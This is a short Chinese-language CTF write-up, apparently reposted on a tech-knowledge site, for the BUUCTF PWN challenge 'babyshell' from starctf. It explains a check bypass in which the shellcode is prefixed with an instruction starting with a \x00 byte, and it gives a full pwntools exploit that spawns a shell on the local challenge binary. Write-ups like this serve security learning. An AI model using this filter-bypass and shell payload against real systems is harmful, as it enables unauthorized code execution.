小工具知识网

当前位置: 首页 > 行业知识 > [BUUCTF]-PWN:starctf

行业知识

[BUUCTF]-PWN:starctf

2026-11-12 06:55:09 来源:互联网转载

���看保护

查看ida

这里就是要输入shellcode,但是函数会有检测。

在shellcode前面构造一个以\x00机器码开头的汇编指令,这样就可以绕过函数检查了。

完整exp:

from pwn import*context(log_level='debug',arch='amd64')p=process('./babyshell')shellcode=b'\x00\x42\x00'+asm(shellcraft.sh())p.sendafter(b'give me shellcode, plz:',shellcode)p.interactive()

上一篇:易语言WPE代码发送实战教程,步骤详解与技巧分享

下一篇:VSCode 报错 之 运行 js 文件报错 ReferenceError: document is not defined